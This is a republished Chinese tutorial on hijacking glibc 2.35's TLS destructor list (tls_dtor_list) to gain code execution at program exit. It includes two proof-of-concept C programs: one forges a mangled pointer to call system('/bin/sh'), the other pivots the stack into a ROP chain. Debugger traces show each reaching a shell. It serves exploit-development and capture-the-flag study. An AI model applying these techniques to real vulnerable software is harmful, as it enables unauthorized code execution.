Glibc-2.35下对tls_dtor_list的利用详解
2024-3-3 13:55:12 Author: mp.weixin.qq.com(查看原文) 阅读量:8 收藏

前言

在glibc-2.34下,我们常用的__free_hook、__malloc_hook__realloc_hookexit_hook(dl_rtld_lock_recursive、dl_rtld_unlock_recursive)被删除,我们想要直接劫持钩子函数来执行one_gadget的打法已经失效。这也导致高版本下,打栈或者利用house of apple2house of cat成了常态,除此之外,还有一种比较少见的类exit_hook利用姿势,即劫持tls_dtor_list函数来控制程序执行流。

利用条件

1.能够任意写一个可控堆地址。

2.能够泄露或者修改fs+0x30。

3.程序能够通过main正常返回或者触发exit退出。

利用原理

实验环境 Ubuntu GLIBC 2.35-0ubuntu3.4

函数调用链

exit
__run_exit_handlers
__call_tls_dtors
func (cur->obj) <--伪造这个

当程序使用exit函数退出后,会进入__run_exit_handlers函数。

void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

进入__run_exit_handlers函数后,会首先判断__call_tls_dtorsrun_dtors是否为空,如果不为空就会调用__call_tls_dtors函数。

void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL) // 需要__call_tls_dtors 不为空
#endif
if (run_dtors) // 需要run_dtors不为空
__call_tls_dtors (); // 调用 __call_tls_dtors

__libc_lock_lock (__exit_funcs_lock);

进入__call_tls_dtors函数后,会检查tls_dtor_list链表是否为空,如果不为空就就将tls_dtor_list链表赋值给dtor_list结构体,并调用其成员变量func函数,它的第一个参数甚至就是另一个成员变量obj

void
__call_tls_dtors (void)
{
while (tls_dtor_list)
{
struct dtor_list *cur = tls_dtor_list;
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (func);
#endif

tls_dtor_list = tls_dtor_list->next;
func (cur->obj);

/* Ensure that the MAP dereference happens before
l_tls_dtor_count decrement. That way, we protect this access from a
potential DSO unload in _dl_close_worker, which happens when
l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
free (cur);
}
}

dtor_list结构体原型

struct dtor_list
{
dtor_func func; // 8字节
void *obj;
struct link_map *map;
struct dtor_list *next;
};

从而我们不难得出,如果我们劫持得了tls_dtor_list链表,就可以进入循环并控制dtor_list结构体cur,从而控制其成员变量funcobj,然后实现任意函数执行,并且第一个参数可控!

接下来,我们对着__call_tls_dtors汇编调挑重点分析该如何利用。

Dump of assembler code for function __call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d401f] # 0x7ffff7e19d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45d75 <+21>: test rbp,rbp
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__call_tls_dtors+93>
0x00007ffff7c45d7a <+26>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18]
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0]
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8]
0x00007ffff7c45d9d <+61>: call rax
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <free@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret
End of assembler dump.

__call_tls_dtors+10rbx赋值为0xffffffffffffffa8(-88)。

__call_tls_dtors+17fs-88(tls_dtor_list)赋值给rbp(这为我们的栈迁移提供了条件)。
__call_tls_dtors+21其实就是在判断tls_dtor_list是否为空。
◆__call_tls_dtors+36tls_dtor_list的第一个成员变量(偏移0,8 byte)赋值给rax。
__call_tls_dtors+40__call_tls_dtors+53是对rax进行解密,先向右循环移位,再与fs+0x30上的值(一个随机数)进行异或。
__call_tls_dtors+57tls_dtor_list的第二个成员变量(偏移8,8 byte)赋值给rdi。
__call_tls_dtors+61调用rax。

利用思路

对此,易得我们劫持tls_dtor_list触发system('/bin/sh')的利用思路:

◆构造一个chunk[chunk_addr]为加密后的system地址,[chunk_addr+8]'/bin/sh'字符串地址。
◆泄露ld基地址,然后得到fs的基地址。
◆然后将fs-88(tls_dtor_list)赋值为该堆地址chunk_addr。
◆最后调用exit函数或者程序正常main函数返回结束,就可以执行system('/bin/sh')来getshell。

除此之外,如果题目开了沙箱banexecve,我们还可以栈迁移构造链

因为__call_tls_dtors+17fs-88(tls_dtor_list)赋值给rbp,如果我们往[chunk_addr]里面填leave_retgadget,那么当执行leave_ret后,rip就会变成[chunk_addr+8],从而执行我们在这后面构造的ROP链!

POC

劫持tls_dtor_list直接执行system('/bin/sh')

//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rol(unsigned long long value)
{
return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}

int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_num;

unsigned long long libc_base = &system - 0x50d70;
unsigned long long *str_bin_sh = libc_base + 0x1d8698;
asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
printf("fs base address: 0x%llx\n", fs_base);

tls_dtor_list_addr = fs_base - 88;
random_num = *(unsigned long long *)(fs_base + 0x30);

void *ptr = malloc(0x20);
*(unsigned long long *)ptr = rol((unsigned long long)&system ^ random_num);
*(unsigned long long *)(ptr + 8) = str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = ptr;

return 0;
}

进入<__call_tls_dtors>

► 0x7ffff7c45d60 <__call_tls_dtors> endbr64
0x7ffff7c45d64 <__call_tls_dtors+4> push rbp
0x7ffff7c45d65 <__call_tls_dtors+5> push rbx
0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8
0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh]
0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
0x7ffff7c45d75 <__call_tls_dtors+21> test rbp, rbp
0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93>

0x7ffff7c45dbd <__call_tls_dtors+93> add rsp, 8
0x7ffff7c45dc1 <__call_tls_dtors+97> pop rbx
0x7ffff7c45dc2 <__call_tls_dtors+98> pop rbp

观察目前的信息

pwndbg> tls
tls : 0x7ffff7fb8740 // fs地址

pwndbg> x/xg 0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0 // 覆盖 tls_dtor_list为我们伪造的chunka_addr

pwndbg> x/xg 0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0xcd950cd148267019 // 随机数

pwndbg> tel 0x55555555a6b0 2
00:0000│ r9 0x55555555a6b0 ◂— 0xe65d7fc6fad39b2a
01:0008│ 0x55555555a6b8 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
// 该chunk的pre伪造成加密后的systerm,bk伪造为'/bin/sh'的地址

运行到<__call_tls_dtors+61>,可以执行system('/bin/sh')成功getshell。

   

0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[30h]
0x7ffff7c45d95 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7ffff7c45d9d <__call_tls_dtors+61> call rax <system>
command: 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */

0x7ffff7c45d9f <__call_tls_dtors+63> mov rax, qword ptr [rbp + 10h]
0x7ffff7c45da3 <__call_tls_dtors+67> lock sub qword ptr [rax + 468h], 1
0x7ffff7c45dac <__call_tls_dtors+76> mov rdi, rbp
0x7ffff7c45daf <__call_tls_dtors+79> call 7ffff7c28370h <free@plt>

0x7ffff7c45db4 <__call_tls_dtors+84> mov rbp, qword ptr fs:[rbx]

劫持tls_dtor_list进行栈迁移,构造ROP链执行system('/bin/sh')

在开了沙盒的题目中,就可以像打栈一样构造orw链来打,非常好用!

//gcc -g -o poc poc.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned long long rol(unsigned long long value)
{
return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}

int main() {
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_num;

unsigned long long libc_base = &system - 0x50d70;
unsigned long long *leave_ret = libc_base + 0x4da83;
unsigned long long *ret = libc_base + 0x29139;
unsigned long long *str_bin_sh = libc_base + 0x1d8698;
unsigned long long *pop_rdi_ret = libc_base + 0x2a3e5;
asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
printf("fs base address: 0x%llx\n", fs_base);

tls_dtor_list_addr = fs_base - 88;
random_num = *(unsigned long long *)(fs_base + 0x30);

void *ptr = malloc(0x100);
*(unsigned long long *)ptr = rol((unsigned long long)leave_ret ^ random_num);
*(unsigned long long *)(ptr + 0x8) = pop_rdi_ret;
*(unsigned long long *)(ptr + 0x10) = str_bin_sh;
*(unsigned long long *)(ptr + 0x18) = &system;
*(unsigned long long *)tls_dtor_list_addr = ptr;

return 0;
}

执行完<__call_tls_dtors+17>

   

0x7ffff7c45d64 <__call_tls_dtors+4> push rbp
0x7ffff7c45d65 <__call_tls_dtors+5> push rbx
0x7ffff7c45d66 <__call_tls_dtors+6> sub rsp, 8
0x7ffff7c45d6a <__call_tls_dtors+10> mov rbx, qword ptr [rip + 1d301fh]
0x7ffff7c45d71 <__call_tls_dtors+17> mov rbp, qword ptr fs:[rbx]
► 0x7ffff7c45d75 <__call_tls_dtors+21> test rbp, rbp
0x7ffff7c45d78 <__call_tls_dtors+24> je 7ffff7c45dbdh <__call_tls_dtors+93>

0x7ffff7c45d7a <__call_tls_dtors+26> nop word ptr [rax + rax]
0x7ffff7c45d80 <__call_tls_dtors+32> mov rdx, qword ptr [rbp + 18h]
0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h

观察目前的内存信息

pwndbg> p $rbp
$1 = (void *) 0x55555555a6b0 // rbp为chunka_addr,为后续栈迁移打下基础

pwndbg> tls
tls : 0x7ffff7fb8740 // fs地址

pwndbg> x/xg 0x7ffff7fb8740-88
0x7ffff7fb86e8: 0x000055555555a6b0 // 覆盖tls_dtor_list为我们伪造的chunka_addr

pwndbg> x/xg 0x7ffff7fb8740+0x30
0x7ffff7fb8770: 0x92d67b067dee83ac // 随机数

pwndbg> tel 0x000055555555a6b0 4
00:0000│ r9 rbp 0x55555555a6b0 ◂— 0x9f31454b25f25ac
01:0008│ 0x55555555a6b8 —▸ 0x7ffff7c2a3e5 (iconv+197) ◂— pop rdi
02:0010│ 0x55555555a6c0 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│ 0x55555555a6c8 —▸ 0x7ffff7c50d70 (system) ◂— endbr64

// 该chunk的pre伪造成加密后的leave_ret片段,然后从bk开始构造ROP链

运行到<__call_tls_dtors+61>

   

0x7ffff7c45d84 <__call_tls_dtors+36> mov rax, qword ptr [rbp]
0x7ffff7c45d88 <__call_tls_dtors+40> ror rax, 11h
0x7ffff7c45d8c <__call_tls_dtors+44> xor rax, qword ptr fs:[30h]
0x7ffff7c45d95 <__call_tls_dtors+53> mov qword ptr fs:[rbx], rdx
0x7ffff7c45d99 <__call_tls_dtors+57> mov rdi, qword ptr [rbp + 8]
► 0x7ffff7c45d9d <__call_tls_dtors+61> call rax <____strtod_l_internal+9107>
rdi: 0x7ffff7c2a3e5 (iconv+197) ◂— pop rdi
rsi: 0x7ffff7e19838 (__exit_funcs) —▸ 0x7ffff7e1af00 (initial) ◂— 0x0
rdx: 0x7ffff7c50d70 (system) ◂— endbr64
rcx: 0x1

0x7ffff7c45d9f <__call_tls_dtors+63> mov rax, qword ptr [rbp + 10h]
0x7ffff7c45da3 <__call_tls_dtors+67> lock sub qword ptr [rax + 468h], 1
0x7ffff7c45dac <__call_tls_dtors+76> mov rdi, rbp
0x7ffff7c45daf <__call_tls_dtors+79> call 7ffff7c28370h <free@plt>

0x7ffff7c45db4 <__call_tls_dtors+84> mov rbp, qword ptr fs:[rbx]

步入

► 0x7ffff7c4da83 <____strtod_l_internal+9107> leave
0x7ffff7c4da84 <____strtod_l_internal+9108> ret

0x7ffff7c2a3e5 <iconv+197> pop rdi
0x7ffff7c2a3e6 <iconv+198> ret

0x7ffff7c50d70 <system> endbr64
0x7ffff7c50d74 <system+4> test rdi, rdi
0x7ffff7c50d77 <system+7> je 7ffff7c50d80h <system+16>

0x7ffff7c50d79 <system+9> jmp 7ffff7c50900h <do_system>

0x7ffff7c50900 <do_system> push r15
0x7ffff7c50902 <do_system+2> mov edx, 1
0x7ffff7c50907 <do_system+7> push r14

执行完leave;ret后,栈迁移成功,可以执system('/bin/sh')成功getshell。

   

0x7ffff7c4da83 <____strtod_l_internal+9107> leave
0x7ffff7c4da84 <____strtod_l_internal+9108> ret

► 0x7ffff7c2a3e5 <iconv+197> pop rdi <iconv+197>
0x7ffff7c2a3e6 <iconv+198> ret

0x7ffff7c50d70 <system> endbr64
0x7ffff7c50d74 <system+4> test rdi, rdi
0x7ffff7c50d77 <system+7> je 7ffff7c50d80h <system+16>

0x7ffff7c50d79 <system+9> jmp 7ffff7c50900h <do_system>

0x7ffff7c50900 <do_system> push r15
0x7ffff7c50902 <do_system+2> mov edx, 1
0x7ffff7c50907 <do_system+7> push r14

pwndbg> tel $rsp 2
00:0000│ rsp 0x55555555a6c0 —▸ 0x7ffff7dd8698 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x55555555a6c8 —▸ 0x7ffff7c50d70 (system) ◂— endbr64

总结

比起house of apple2house of cat等高版本主流打法,利用tls_dtor_list的工作量大大减小,并且可以直接栈迁移构造ROP链,而且由于该打法是在修改fs附近的值,这个依赖的不是libc而是ld的偏移,有时能发挥奇效。


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458542928&idx=1&sn=be49c9978411b37bc8ddfa677accd4aa&chksm=b18d53da86fadacc89bf45021dfd0333fa1a9b9eeb0588c970f61eb7d3c522d72aea69ce29fd&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh